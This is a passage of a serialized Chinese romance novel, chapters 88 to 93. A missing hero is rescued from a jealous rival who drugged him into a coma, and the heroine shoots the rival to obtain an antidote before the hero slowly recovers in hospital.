“什么?” 温疏亦身子一下软了。 第88章 那年的结婚申请 盛珽妄真的出事了。 失踪? 在茫茫大海上失踪,跟死了有什么区别。 明知道,那趟船要经过公海,那边的情况,他比她还要清楚啊。 怎么就…… “张特助,现在……一点消息都没有吗?” “没有。” 张纶也近乎绝望了。 虽然ZF那边因为失踪的人太多,没有放弃寻找,但是太难了。 公海上失踪。 又是这么长的时间。 是个人都知道,人,没有概率极高。 “我们见一面吧。”温疏亦说。 张纶给温疏亦订了机票。 在温疏亦收拾东西,准备去国外与张纶汇合时。 周贺正回来了。 “我听说盛队长出事了,我特意回来,帮忙的。” 其实在他约温疏亦第二次,她没有出来时,他就猜到了什么。 后来,他在一次档案整理中,发现了盛珽妄的结婚申请。 上面女方写的就是温疏亦的名字。 时间已经很早了。 当时他也有点纳闷。 明明盛珽妄已经不当兵很多年,为什么还要提交结婚申请。 同事告诉他。 像盛珽妄这样的立过重大战功的,上面对他结婚这事,还是要审核的。 只是没有在职时,审得那么严格。 也是对这英雄的一种保护。 周贺正并没有觉得,自己多么失败。 盛珽妄是他从小敬佩的英雄,如果不是因为听了他的事迹,或许这辈子,他都不会当兵。 他挺骄傲的。 因为他和他偶像的眼光是一样的。 看着温疏亦错愕的眸子。 他坚定地说,“我已经通过特殊手段,锁定了盛队长所在的区域,相信我,我一定会把盛队长,救出来的。” 温疏亦不知道说什么好。 总是觉得,这事与周贺正无关,他这样仗义相助,挺感激的。 “那边的情况,听说……很复杂,你……真的要跟我一起去吗?” 她猜,也许周贺正是为了她…… 不对。 如果是为了她…… 为了她??? 他知道她和盛珽妄的关系了? “你是不是知道我和他……” 周贺正点头,毫不隐瞒地说,“我见过盛队长的结婚申请,大概是五六年前提交的,没想到,你们那么早就……” “等一下。” 温疏亦没法消化,这突如其来的消息。 “什么结婚申请?五六年前?” 那是盛珽妄答应回来娶她的那一次,那时,他真的提交了结婚申请,真的要娶她,而不是骗她。 “没错。” 温疏亦头晕,“他这个人做什么事情,怎么偷偷摸摸的。” “看来,我以后是不能追求了。” 温疏亦:…… “周先生,我和盛珽妄,其实……没结婚。” “啊?”不能啊,他见到了结婚证啊,是后来提交了,“你们有结婚证,怎么可能没结婚啊,是没有办婚礼吧?” 总不能是离婚了吧。 离婚也得有离婚证啊。 他没有在档案里,见到离婚证。 温疏亦懵…… 不过现在她无瑕深思这件事情。 她需要马上出发。 “不说这个了,那就辛苦你了周先生。” “别这么客气,以后我们就互相叫名字好了。” 温疏亦点头,“好。” …… 与张纶见面过后。 周贺正一直跟他在商量着,要如何去营救盛珽妄。 目前,最担心的就是,那帮子海盗会杀人灭口。 时间拖太久了。 如果对海盗来说,没有用处,他们不会留活口的。 不过,盛珽妄是从死人窝子里爬出来的。 他应该能自保。 营救的时间,不易拖得过长。 时间太久了,就算他有通天的本事,也耗尽了。 直升机,突击步枪。 周贺正是希望温疏亦在家里等消息。 她坚持要一起营救。 周贺正便给她穿了防弹衣,另外给了她一支手枪。 夜深人静。 周贺正带着几十个人,一起登岛。 张纶和另外两个枪手,负责保护温疏亦。 岛上很安静。 脚步落地,会踩得地面吱咯吱咯地响。 由于周贺正带的人足够多。 再加上武器先进。 海盗们被一锅端了。 奇怪的是,海盗们虽然被抓了,但他们抓回来的人,一个也没见。 周贺正突然有一种不好的预感。 这些海盗,都是凶狠蛮横,不走寻常路。 人……不会是,被丢到海里喂鲨鱼了吧? 由于语言不通。 没有可用的信息。 大家一时,没有头绪。 温疏亦更是不死心,四处寻找。 她发现了一个地窖。 窖口打开时,有一股恶臭味,呛得人头晕目眩。 周贺正将她拉开,“这里面,极有可能是都是死人,味道有毒,你别靠近。” “死人?”温疏亦害怕了,她不敢相信,盛珽妄会死在这里面,她颤着指尖抓着周贺正的胳膊,问,“那盛珽妄是不是,不,他不可能在这里面的,对吗?” 周贺正不确定。 他叫了人过来,下去看情况。 回来的人说,那里面确实全是死人,有腐烂的,也有刚扔下去的。 总之,惨不忍睹。 为了确定一下,盛珽妄是不是真的在这死人堆里。 周贺正命人下去,将这些尸体,一一辨认。 除了烂得实在无法辩出人脸的,能看清模样的,几乎都是外国人。 没有发现盛珽妄的影子。 “可能,盛队长他……藏到别的地方了吧,我们再仔细找找。” 没人敢轻易做出,这些烂掉的尸体里,有盛珽妄这个结论。 但,这种可能性,又是无法排除的。 下去的人,拿了个枚戒指回来,交给了周贺正。 他拿到手里,反复看了看,发现是两枚互相嵌入的戒指。 里面镭射印上了字母。 周贺正拼了拼,眼眸一骤,用水冲洗了戒指后,拿到了温疏亦的面前。 “这个认识吗?” 他指尖一捻,像有什么机关似的,戒指变成了两枚。 温疏亦看得眼生,“没见过,怎么了?” “戒指上刻了你和盛队长的名字。”他将戒指翻转,给温疏亦看,“你仔细想一下,盛队长之前有没有戴过这枚戒指。” 温疏亦沉默回忆着。 盛珽妄确实没有戴过这枚戒指,但好像,他将这枚指环戴到脖子上。 “是他的项链。” 周贺正点头,那就对了。 “那这就是盛队长的东西。” 温疏亦急问,“在哪儿找到的?” “在地窖里,盛队长极有可能……”已经不在了,这话,周贺正很难讲出来,“我得联系外面的人,让他们尽快将下面的尸体弄出来,这样才好做DNA。” 温疏亦听得心慌。 他是想说盛珽妄已经死了吗? 那些腐烂的不成人样的尸体中,其中一个就是他吗? 不。 她不接受这样的结局。 “不会的,他一身的本事,怎么会死呢,他不会死的,不会的,你在骗我,有这个不代表他就死了,周贺正,你骗我……” 第89章 她在睡梦中痛哭 温疏亦崩溃了。 一瞬间,天旋地转。 人,晕了。 她无法接受盛珽妄的死亡。 更无法接受,他是这样的死去。 温疏亦病了。 在医院里昏睡了差不多十几天的时间。 这十几天。 她一直在做一个奇怪的梦。 梦里盛珽妄,没有手,没有脚,身上的衣服是烂掉的,他那么爱干净的人,却狼狈得像个乞丐。 他就那样在迷雾里。 就那么看着她,责怪她,为什么不肯给他多几天的时间,那样他就不会因为急着赶回华城,而失去生命。 “对不起,盛珽妄,我真的没有想到事情是这样的,我没有强迫你回来,真的,我宁愿你做不到你对我的承诺,也不希望你死在异国他乡。” “如果现在让我选择,我真的不会,在你离开前,跟你吵,哪怕我心里再不舒服,哪怕要跟你分手,也不会让你带着压力离开。” “盛珽妄,你真的死了吗?你说过要给我个婚礼的,不做数了是吗?” “我真的没有逼你三天必需回来,你为什么,这次为什么偏要信守自己订下的承诺呢,你能不能别死,盛珽妄,你可以不要死吗?” 在梦里。 温疏亦不停地哭,不停地哭。 明明这件事情,与她无关。 她却把责任全部揽到了自己的身上。 死者为大。 他走了,只留下了无尽的悲伤,而她却有无尽的遗憾。 盛珽妄是一个很好的人。 他正直,善良,答应别人的事情,无论多么委屈自己,都会完成。 正因为如此。 温疏亦也连带成了他委屈的一部分。 所以,她怨,她恨,她不想跟他继续下去。 她希望他的心,只放在她一个身上。 因此忽略了,在他还没有认识她的那些年,是有人与他风雨同行的。 温疏亦又哭了。 眼泪从眼角滑落,浸湿了睫毛。 周贺正和张纶,看着她这副醒不过来,却悲伤十足的样子,心里别提多难受。 “几乎可以确定,盛队长没有死,但是人去了哪儿,反倒成了一个迷了。”周贺正说。 张纶也觉得奇怪。 人,怎么可能凭空消失呢。 “你说,会不会是什么人跟海盗勾结了,让三爷他神秘地在这个世上消失呢?” 周贺正觉得有可能,“你有怀疑的对象吗?” “目前没有。”这是张纶苦恼的地方。 但也不是,全无头绪,“其实,有一个人,我想调查一下。” “谁?” 张纶提了许初音的名字。 “自从三爷来见过许初音后,她确实平静了许多,也不闹了,也不自杀了,前几天,我去见她,她简直跟变了个人似的,竟然可以平静的跟我聊天了,眉眼弯弯的,心情不错,像是有什么喜事在身上。” “而且,最近她总是一身红,也不为找不到三爷着急,要知道,在她的生命里,三爷的位置,永远是无人可以替代的。” 诸多的表现,在张纶看来,是不怎么正常的。 但是怀疑归怀疑,他没有找到蛛丝马迹,来证明,这事真的与许初音有关。 周贺正没说话。 一直在沉思。 许久,他讲,“买通她身边的人,我认为这个许初音的问题很大。” “对啊。”张纶一拍巴掌,“我怎么没有想到。买通她身边的人,这样就像在她的身边按了双眼睛,她干过什么,目前在干什么,我们就了若指掌了。” 两人分头行动。 周贺正在医院里,时刻关注着温疏亦的病情。 而张纶花了重金,买通了许初音家里的保姆。 果然。 几天后。 张纶有了好消息。 “许初音应该是把三爷给藏起来了,这样看来,三爷的状况应该不算好,我们要尽快找到三爷。” 周贺正拿了一个定位器给张纶,“你找个机会,把这个东西,给那个保姆,让她放到许初音的身上,这样,我们就能在第一时间,找到盛队长。” “没问题。” 经过长达半个月的追踪。 周贺正终于获取到了一个许初音,经常出没的位置信息。 他和张纶躲在暗处,看着许初音坐上车子离开。 二人身手敏捷地翻墙而入。 院子不大不小,黑暗,阴森,像一个中世纪的古堡。 只有几盏微弱的路灯亮着。 光线很暗,有和没有,区别不大。 “你说,三爷会不会在这儿啊?这里,怎么看也不像是人住的地方。”张纶后背发凉。 树叶沙沙在脚底作响。 像是响尾蛇的声音。 周贺正观察着四周的情况,目光敏锐,“这个地方像是一直废弃着的,所以没人会注意,我猜盛队长,应该是在这儿。” “我看这儿安安静静的,如果三爷在的话,这个地方是困不住他的……”张纶猜盛珽妄出事了,“……坏了,三爷还真出事了。” “走。” 二人猫着身子,往里走去。 门关着。 里面倒是有光亮。 有一个佝偻的人,在走动着。 “那不会是三爷吧?”张纶不确定地问。 周贺正摇头,“不会,盛队长个头没那么矮,应该是在这儿伺候人的,年纪不小于六十岁。” “是吗?”张纶越发的觉得周贺正厉害,“周队长,你简直是火眼金晴啊。” 周贺正从后腰拔出枪,往里塞了一个麻醉剂的针头,对着这个老头射了过去。 人,晃悠了两下,不出意外的倒下去。 张纶忍不住冲他坚大拇指。 二人推开门走了进去。 这是一幢三层的小楼。 木质的结构,每走一步,地板都发出吱吱呀呀的声音。 “周队长,你说,三爷会被关在哪儿?” “咱们分头找,你要楼下找,我去二楼找一下。”周贺正说。 张纶点头,“好。” 房间灰暗。 灯光孱弱。 一楼只有一间卧室,看里面的布置,应该是刚刚那个老头住的。 盛珽妄会在二楼吗? 张纶准备上二楼,经过被麻醉的老头时,他用脚踢了踢了,没有动静。 楼梯也是木板的。 年代感极重。 楼梯空白的墙上,有灯亮着,同样的昏暗。 “周队长,找到三爷了吗?” 在张纶快要踏上二楼时,同样在二楼的周贺正,发现门口有车灯扫过。 “许初音,应该是去而复返了,赶紧先把老头,弄到床上。” 二人快速下楼。 将昏迷的老头,一起抬到了他的房间,盖上了被子。 在门被打开的瞬间。 二人一起躲进了房间的衣柜里。 “许小姐,老汤姆已经睡了。”保姆跟在许初音的身后,四下张望着,“要不要把他叫起来?” “不用了。” 她就是右眼皮跳得厉害,“我去看一眼。” 许初音上了楼。 保姆紧随其后。 第90章 我睡了多久 二人上了二楼。 周贺正和张纶听到二楼某间房的房门开了,又关上。 “看来,三爷真在这儿,但也真的是出事了。”张纶心里发慌。 周贺正和他的想法一致。 许初音去而复返,大概是预感到了什么。 如果今天,他们不把盛珽妄带走,明天,绝对就见不到了。 差不多十几分钟。 楼下传来了脚步声。 许初音往佝偻老头的房间扫了一眼,“还挺能睡的。” “人老了,觉多。”保姆附和了句。 许初音没再说什么。 很快离开。 听到车子离开后。 周贺正和张纶,这才从衣柜里出来。 “人走了,咱们上楼看看吧。”张纶说。 “嗯。” 二人快步上了二楼。 跳过之前周贺正已经找过的那几间,直奔最里面的那间卧室。 推开。 一股发了霉的味道,扑面而来。 灯呢? 张纶摸索着,打开了墙上的开关。 一间不大也不算太小的房间。 一张黑色床。 黑色的被子。 被子底下…… “是人。”张纶激动了,快步冲到大床前,将人的脸全部露出来,“周队长,是三爷,真的是三爷。” 张纶轻声地唤人,“三爷?” “三爷,你醒醒。” “三爷,我是张纶啊,你能听到我的声音吗?” “三爷……” 张纶伸手探了一下鼻息。 有呼吸,但没有意识。 他猜,许初音一定对他做了什么。 “三爷对她那么好,一直信守对许父的承诺,对她不离不弃地照顾,她总是害三爷,真的太不是个东西了。” 周贺正心口不安。 他对张纶说,“咱们先把盛队长带走再说。” “好。” 周贺正人高大有劲。 他将盛珽妄背起来,快步下了楼。 黑暗中,他们艰难地将人带出这个黑暗的小楼,刚坐进车里,发现许初音的车子,再次去而复返。 “她怎么又回来了?”张纶不解。 周贺正倒是很好理解,“她怕是也有什么预感,咱们抓紧离开。” “嗯。” 许初音再次走进了房间。 她没有先上楼,而是去了佝偻老人的房间,对着保姆说,“把他叫起来。” “老汤姆,别睡了,许小姐来了。” “老汤姆?” “老汤姆,你醒醒。” 保姆怎么也叫不醒看守的老头。 许初音啐了句脏话,转身跑向了二楼。 很快,楼上传来了愤怒的尖叫声,“我就知道,你们来了,你们把他带走了,我要杀了你们……” …… 盛珽妄的情况并不好。 他被注射了过量的导致昏迷的药物。 这些药物要在身体里代谢,几个月也未必然能代谢干净。 而且,很伤脑子。 顾临被紧急从国内叫到了国外,给盛珽妄检查。 检血后的数据,他看得也懵了。 “许初音是疯了吗?她是想毁了盛珽妄?得不到就毁掉?她还是不是个人了?” 张纶更慌,“顾医生,三爷他,到底还能不能醒啊?” “能醒是能醒,但现在……”顾临现在也说不上来,“……许初音大概是想让他一辈子就这样睡着,用药的剂量很猛,就算我现在用最好的药物给他清洗血液,也……” 顾临摇头。 但该做的,他依然会做,“……听天由命吧,但我会尽力的。” “温小姐现在昏迷,三爷又这样,顾医生,我们不能听天由命啊,你是三爷最好的发小,你得尽全力救他啊。” 张纶差一点就给顾临跪下了。 周贺正拉住激动的张纶,“顾医生说了,他会尽力的,相信盛队长,他一定吉人自有天相。” “我真想杀了许初音,她怎么可以恩将仇报呢,三爷他,真的太大意了。” 张纶恨得眼红。 顾临拍了拍他的肩,“她会有报应的。” 顾临联系了当地一家私人医院,将盛珽妄接走了。 周贺正派了人过去守着。 温疏亦这边情况稳定,就是像鬼打墙,怎么也逃不出自己的梦。 顾临特意将二人,合到了一个病房里。 几天后。 温疏亦迷迷糊糊地开始清醒。 “疏亦。”周贺正唤她。 温疏亦的眼皮很沉,掀了几次过后,才勉强掀起一条缝,“我睡了多久啊?” “很久了。”他说。 温疏亦撑着身子,想坐起来。 但没什么力气。 周贺正将病床调好角度,温疏亦有气无力地说,“盛珽妄找到了吗?他没死的对吧?” “盛队长没死,但陷入了昏迷当中,需要治疗。” 温疏亦听到没死,人也精神了许多,“他在哪儿,我去看看他。” “就在这儿。”周贺正指了指温疏亦身旁的病床。 她缓缓转着眸子,望过去,眼眶一下湿了。 是盛珽妄。 他还活着。 活着就好。 “在哪儿找到的?” “在一个破旧的房子里,他被许初音藏起来了。”周贺正最近调查有了一些结果,便说给温疏亦听,“据我的调查,许初音是跟海盗勾结,给盛队长他下了套,她的目的,大概是想把盛队长留在身边,所以给他注射了大量的导致昏迷不醒的药物。” “什么?”温疏亦震惊。 许初音这是疯了吗? 想要得到一个人,就这么害他吗? 他是个人啊。 怎么可以随意就注射对身体有害的药物呢。 “那盛珽妄他……还能醒过来吗?” 周贺正也不清楚,但他也不想说得太悲观,“应该可以的,顾医生现在跟当地的专家一起,商量治疗盛队长的方案,我想,一定会有好结果的。” 也许吧。 对于温疏亦来说,盛珽妄只要活着就好。 但许初音这样害盛珽妄,这笔账,她得算。 温疏亦在医院里休养了几天后。 便独自离开了。 她拿上了周贺正给她的那把枪。 去见了许初音。 许初音对此并没太多的意外,问的第一句是,“盛珽妄还好吧?” “他好不好,你不是最清楚吗?”温疏亦不客气地拉过把椅子,坐到了许初音的对面,“大家都是女人,说真的,我挺瞧不上你的。” 许初音蹙眉:“你说什么?” “我说,我瞧不起你,为了一个男人,耍这么多的阴招,坏招,要死要活的,真的,我觉得你挺悲哀的,明明……” 温疏亦唇角漫上一抹冷嘲的弧度,“……明明,你长得挺好的,家世也不错,却非要爱一个,并不爱你的男人,你图什么?图他的冷眼?图他的绝情?你知道,没有结果,却非要强求,害人,是要有报应的,你不懂吗?” 第91章 你真敢开枪 “温疏亦,你给我上大课呢?”许初音漂亮的脸蛋上,尽是阴鸷的神色,“你算个什么东西,不要以为盛珽妄睡了你几次,你就感觉自己是他的人了,我告诉你,我才是他的第一个女人,男人永远会对第一个女人念念不忘的,否则,他也不会一次又次地过来找我。” 许初音走到温疏亦的面前。 居高临下地睨着她,“温疏亦,你以为你得到盛珽妄的心了?我告诉你吧,我十六岁认识他,他从来就是一个不会去爱人的人,你们在一起,不过就是肉体的欢愉,想两情相悦,想像普通的夫妻那样的生活,你真的想多了。” “我有没有想多,我好像比你更有发言权吧。”温疏亦指尖轻捻着,盛珽妄的那两枚戒指,“看来,许小姐你,还真的是不了解他,他会定制独一无二的戒指,呶。” 她展示给许初音看。 很高傲地抬起下巴,“六年前,他突然离开我之前,他已经提交了结婚申请,从那时起,他就想娶我了,你倒是陪在他身边久啊,他有提过娶你吗?” 许初音脸色明显变了。 眼神越发的阴狠。 温疏亦摆弄着无名指的戒指,“盛珽妄挺会玩浪漫的,这戒指上,还刻了我们两个人的名字,他对你做过这种事情吗?” “许初音,我其实挺不能理解你这种人,何必在一个不爱你的人身上,费这把子力气呢,喜欢受虐?喜欢爱而不得?这不是妥妥的受虐狂吗?” “温疏亦,你得意什么?一枚戒指能代表什么?”许初音指尖攥进肉里,恨不得要掐死面前的女人,“我告诉你,只有我的解药可以让盛珽妄醒过来,如果你愿意带一具活死人回去,你就带走好了。” “当然不……愿意。” 温疏亦起身,她来这儿的目的,就是拿到治疗盛珽妄的药。 就算拿不到。 她也不能让许初音这个害人的凶手,继续祸害下去。 “所以……”她拔出枪来,抵在了许初音的后脑上,“……看你是想要命,还是要那虚无缥缈的爱情。” 许初音没怕,反而笑了。 她不认为,温疏亦有胆量冲她开枪,“温疏亦,枪可不好玩,弄不好,你会把自己弄死。” “你以为我不敢对你开枪吗?” 温疏亦手中的枪口自许初音后脑缓缓下移,最终稳稳对准了她的右肩。 没有犹豫,扣下扳机。 子弹瞬间贯穿骨肉,在肩胛骨处炸开一片血雾。 许初音闷哼一声,身体失去控制般,猛地跪倒在地。 尖锐的撕裂感,如潮水般迅速蔓延至四肢百骸。 暗红色的鲜血,不断地扩散,蔓延…… 她抬起头,眼中却满是难以置信的愕然。 血液还在继续的,从指缝间不断涌出。 她的声音透出震惊,“你真敢开枪……?” 温疏亦垂眸看着她,指尖缓缓推动板机,上膛的金属撞击声格外清晰。 枪口再次抬起,稳稳指向许初音。 “把解药拿出来。”声音平静得近乎残酷,“否则下一枪,对准的就不是肩膀了。” 许初音沾满鲜血的手掌撑住地面,身体艰难地向后挪动。 她咬紧牙关,声音从齿缝间挤出:“温疏亦……杀了我,你也走不出这个房间。” “我不想杀你。”温疏亦的枪口,稍稍偏了偏,像是在做最后的警告,“但选择权在你。” 空气中弥漫着血腥与硝烟混合的气息。 时针每走一秒,都透着极端的不确定。 许初音似乎也怕了。 她踉跄着起身。 走到一个柜子前,拿出一小瓶药,“药我可以给你,但是温疏亦,你给我记住,只要我还活着,我就一定不会放弃盛珽妄。” 温疏亦接过药瓶。 里面的药水无色透明,她不知道许初音给的解药是真是假。 她需要尽快让顾临来验证。 “许初音,我还是希望,你趁着年轻,去寻找自己的真爱,那时,你就会知道,得到爱,和付出爱,是两个完全不同的概念,也许那时,你对盛珽妄就不会如此的执着了。” 温疏亦拿着药离开。 许初音站在窗口,拿出手机,拨了出去,“找人时刻盯着盛珽妄那边的动静,等私人飞机来了,立马行动。” 她眼神阴狠。 她得不到的,凭什么温疏亦要得到。 既然得不到,那就让这个人在世界上彻底消失。 她绝不允许她自己痛苦,别人幸福。 …… 温疏亦回到医院后,将药水交给了顾临。 “你检验一下,这里面是什么。” 顾临接过药瓶,错愕:“这是什么?哪来的?” “是我去找许初音拿的,她说是治疗盛珽妄昏迷的解药,但我也不知道真假,需要你检验一下。” 顾临明白了。 他收起药瓶,“好,我知道了,我马上去验。” 药物的检验,很快出了结果。 药水里有解除昏迷的药物成分。 确定无害后,顾临给盛珽妄注射进了血管。 注射一个小时后。 盛珽妄醒了。 只是目光有一些呆滞。 对任何人的唤叫,都没有反应。 “他这是……人回来了,魂没回来吗?”温疏亦问顾临。 顾临用手电筒照了照他的瞳孔,“有反应,但反应不强烈,不知道伤没伤到脑子,得做进一步的检查,看一看。” 温疏亦走到盛珽妄的病床前。 轻轻地握起他的手,“盛珽妄,你能不能听到我叫你,听到的话,眨眨眼睛。” 没有任何反应。 就像一个睁着眼的死人。 温疏亦将手指上的那枚戒指,摘下一个,套到了盛珽妄的无名指上,“贺正说我们结婚了,也不知道真假,如果是真的,你醒过来,你要好好向我求婚的,我可不想稀里糊涂地嫁人。” “醒过来吧,盛珽妄,我们别再这样错过了,我们好好地谈一场恋爱,一场不分手的恋爱,好吗?” “盛珽妄,醒过来,跟我讲讲,你经历了怎样的生死,我想听。” 温疏亦握着盛珽妄的手。 将脸贴在他温热的手背上。 张纶走了进来,看到这一幕,有一些唏嘘。 “温小姐,我已经申请了航线,这几天我们准备一下,把三爷送回华城。” “好。” 周贺正的眼眸微沉,“用私人飞机的话……,还是小心一点。” 第92章 装傻耍流氓啊 张纶忙问,“周队长,你觉得有什么问题吗?” “我怕有人会动手脚。比如说,许初音那边。”周贺正的敏锐,提醒了张纶,“我怎么把她给忘了,她现在说不定正在暗处盯着我们,你说的太对了,我们应该声东击西,这样才能万无一失。” 周贺正点头。 …… 当两架飞机,几乎同时升空的时候。 张纶调来的那架私人飞机,在半空中解体。 透过机窗,望着漫天的火焰。 温疏亦心脏跳得厉害,“还真被贺正说对了,幸亏我们没有乘坐那架飞机。” “一定是许初音。”张纶气得牙根痒痒。 不管怎么说。 大家平安无事。 飞机在华城的机场降落。 盛珽妄被接到了华城最好的医院,进一步治疗。 周贺正也要准备回部队了。 “疏亦,我的任务完成了,我得回去了。”他冲温疏亦行了个军礼。 温疏亦很感激他的付出,“谢谢你贺正,你真的是一个好人。” “盛队长是我的偶像,能把他平安无事地带回来,是我的荣幸。”周贺正唯一遗憾的就是,他第一次心动,就此告一个段落,“那我就走了。” “贺正,你什么时候能再休假回来?”温疏疑问。 周贺正摇头,“最快也得过年吧,不一定,有事?” “嗯,等你下次回来,我请你吃饭。”周贺正真的是一个可以托付终生的好人,她决定把自己的好闺闺,介绍给他,“记得哦。” “好,知道了。” 周贺正上车走了。 温疏亦和张纶也坐上了去往医院的车子。 在医院治疗的日子里。 盛珽妄要么醒着睡,要么睡着醒。 意识恢复得很慢。 顾临说,他在一点点地好转,至于好转了些什么,在哪个方面,温疏亦一无所知。 只是日子有盼头了。 盛珽妄的眼神也慢慢,不再呆滞。 看向她时,像是在努力地记起什么似的。 “呶,吃苹果。”温疏亦将苹果切成小小,往他嘴边递,“很甜的。” “你是谁?” 盛珽妄慢悠悠地说话。 温疏亦不急不慢地回他,“我是你的朋友呀。” “什么朋友?”他又问。 温疏亦又答,“好朋友。” “哦。”盛珽妄用嘴接过苹果,慢慢地咀嚼着,“好朋友,是可以一起睡的好朋友吗?战友?” 温疏亦额角颤了颤,“男女是不能一起睡的。” “那你是女的?”他现在天真得像个傻子。 温疏亦看向他,“不明显吗?” “不知道。”他傻傻地说。 温疏亦差点气到,“等你彻底醒过来,你就知道了。” “那你把衣服脱了,我看一眼就知道了。” 温疏亦双手护在胸前。 吓得直往后躲,“盛珽妄,你要不要脸啊,哪有让别人脱衣服的,装傻耍流氓啊?” “你不脱衣服,我哪能分辨出来,你是男的还是女的。” 温疏亦瞪眼,“是男是女,不重要,你管我是男是女呢。” “哦,好吧。” 温疏亦继续拿起苹果喂他,“我看你不是真傻,是装傻,盛珽妄,你要是敢给我装傻,看我不收拾你。” “你,你,怎么还恐吓别人呀。” 盛珽妄小眼神中,透着对温疏亦的恐惧。 温疏亦:…… 这是又跟她装起来了? 顾临过来给他换药。 盛珽妄像看到了救星,指着温疏亦,控诉,“我要换一个护工,她好吓人。” “啊?”顾临看了温疏亦一眼,“什么情况?” “他分不清我是男是女,让我脱衣服。”温疏亦无语翻白眼,“我吓人,还是他吓人?” “他现在傻呵呵的,你跟他一般见识干什么。”顾临一边给盛珽妄换药,一边说,“再说了,你们两个又不是别人,看看也没什么的。” 温疏亦:…… 盛珽妄现在根本不认识她。 她能给一个陌生人脱衣服吗? 到底谁有病? 顾临换好药后。 又继续跟温疏亦说,“珽妄恢复得不错,照这样下去,再有一周的时间,他就能从混沌变清明了。” “这么快?” “是啊,他身体素质好,许初音给的那瓶药,我们细化分析了,确实是对珽妄的症,期待吧。” 温疏亦是挺期待的。 她真的有好多好多的话,要跟盛珽妄说。 顾临离开病房后。 温疏亦更准备再给盛珽妄吃点水果。 病房的门,被推开了。 汤凤玉和李贞贞走了进来。 “阿稷,你还好吗?我听说你回国了,我就迫不及待地来见你了,快让妈瞧瞧,有没有受伤啊?有没有哪里不舒服啊。” 汤凤玉一会儿看看胳膊,一会看看手。 把盛珽妄翻过来覆过去的看。 李贞贞推了温疏亦一把,“你这个扫把星,你看你把我哥给克的,你就应该滚得远远的,永远不要出现。” 温疏亦没想到李贞贞对她,是越来越没礼貌。 脸色变得难看起来,“你少跟我动手动脚的,否则别怪我不客气。” “怎么着,我就是推你了,你还能怎么着我?”李贞贞一副混不吝的模样,“温疏亦,你想当着我哥的面,打他的妹……” ‘啪。’ 一个巴掌毫不客气地甩在了李贞贞的左脸上。 顿时氲出一层血红。 她错避地看着温疏亦,结结巴巴地说,“你,你怎么可以……打,打我。” “打你是让你长记性。”温疏亦面色平静,却透出不容置疑的狠戾。 李贞贞有点怕了。 她后退了两步,求助于汤凤玉,“妈,你看她厉害的,以后,在这个家里,你有苦受了。” “好了,你哥现在病还没好,你给我消停一点。” 汤凤玉担心的看着盛珽妄。 盛珽妄也不说话,好像对周围的一切都没什么感知。 温疏亦出去后。 李贞贞将汤凤玉叫到一旁,悄眯眯地说,“妈,你看我哥这种情况,指不定就得傻一辈子了,要不,咱们让他立个遗嘱吧?或是财产分配也行啊,要不然,温疏亦会把我哥的一切都拿走的。” “怎么会,你哥一定会好起来的,你呸呸呸。” “妈,不怕一万就怕万一,要是我哥真的就这样傻了,那温疏亦还不得挟天子以令诸侯啊?她会带着我的财产去嫁给别的男人,那我哥岂不是什么也落不下?” 李贞贞这话,说到汤凤玉心里去了。 她不希望这种事情发生,“可是你哥现在这种情况,他能听咱们的吗?他和温疏亦的感情,比我们深,他不会……” “妈,我们就得趁着我哥现在傻呵呵的,才让他把财产分配了,等他清醒了,还轮得到我们吗?” 第93章 小孩子,没礼貌 汤凤玉听得有道理。 可她也不知道接下来怎么办。 “那你说,我们要怎么做,你哥才肯听我们的?” “妈,我哥现在这个样子,还不是咱们让他干嘛,他就干嘛。”李贞贞想到了个办法,“我找律师起草一份财产转让书,到时,拿来让我哥把字一签,那温疏亦就什么也拿不到了。” “可是……”汤凤玉想到了哆哆,“她还有个孩子,那可是你哥的儿子,咱总不能一分也不给她留吧,那她怎么养孩子啊?” “妈,你是傻了吗?我哥的孩子,我们来养啊,保准比温疏亦养得好。” “那……行吧。” 汤凤玉被说服了。 她还是心疼儿子,握着盛珽妄的手,哭唧唧。 温疏亦回来的时候,汤凤玉李贞贞母女已经离开。 盛珽妄睡了。 温疏亦一个人坐在病床旁的沙发上,打起了盹。 …… 几天后。 温疏亦带了小哆哆,来看爸爸。 小哆哆还跟从前一样,看到盛珽妄,就很怕,一个劲地往温疏亦的怀里钻。 “哆哆,你爸爸他病了,你跟他说说话。” 小哆哆摇头,“不要。” “为什么不要。”盛珽妄皱起眉头,今天好像傻得又差了一些,“小孩子,没礼貌。” 小哆哆躲在温疏亦的怀里,怯生生地看向盛珽妄,“就是不要。” “那我有变形金刚你要不要?” 盛珽妄也不知道从哪来的玩具。 还挺高级的,一摁,一辆小汽车,就变成了一个机器人。 小哆哆眼里,明显有了光。 温疏亦鼓励他过去,“去看看宝宝,挺好玩的。” 小哆哆想去,眼中又有忌惮。 好像在犹豫着什么。 盛珽妄从枕头底下,又拿一把剑。 轻轻一甩,剑不仅变长了,还发光,像一件神物。 小哆哆心动了。 从妈妈身上下来,有一些扭捏地走到了盛珽妄的面前,“可以给我玩玩吗?” “可以是可以,但你得叫我声爸爸。”盛珽妄握着手中的剑,不知道摁了个什么按钮,剑从黄色变成了蓝色。 小哆哆兴奋了。 “爸爸,可以给我玩玩吗?” “再叫一声。”盛珽妄趁机提要求。 手中的剑又一次变成了绿色。 小哆哆开心坏了,抱住盛珽妄的大手,“爸爸,爸爸,可以给我玩玩吗?” “爸爸,是不是好爸爸?” “是好爸爸。” 盛珽妄得逞了。 将手中的可以变颜色的剑地递到了小哆哆的手里。 剑可以变长变短,在手里像个魔术道具。 温疏亦看儿子开心。 脸上也尽是愉悦的光泽。 “过来,有礼物要送给你。”盛珽妄冲着她说。 温疏亦指了指自己,不确定地问,“给我?” “过来。” 温疏亦走到他的病床前,奇怪地看向他,“你是不是脑子清醒了?” “不算糊涂。”他从口袋里拿出一个小小的戒指盒,打开,“送你的。” 一枚不算小的钻戒。 温疏亦谈不上喜欢与不喜欢,她挺纳闷这些东西,是哪里来的。 她可是天天在医院里陪床。 “盛珽妄,你这都是从哪儿变出来的?” 盛珽妄笑笑,将戒指拿出来,套在了温疏亦的无名指上,“以后再换大的。” “我不怎么喜欢钻戒。”温疏亦嘴硬的说着,唇角却是抵制不住的上扬,“我更喜欢金子,现在金价可高了,保值。” “那我下次送你金子。”他笑着说。 温疏亦撇嘴。 既然清醒了。 那她要问的事情可就多了。 “盛珽妄,我问你,你怎么被海盗劫持的?” “不是海盗。” 温疏亦蹙眉,“不是海盗?你不是在海上……” “不是在海上被劫持的,是在上船的时候。”他大意了,那时满脑子想的就赶紧地回国,“我当时只想在三天内完成自己对你的承诺,没想到,有人会对我动手。” 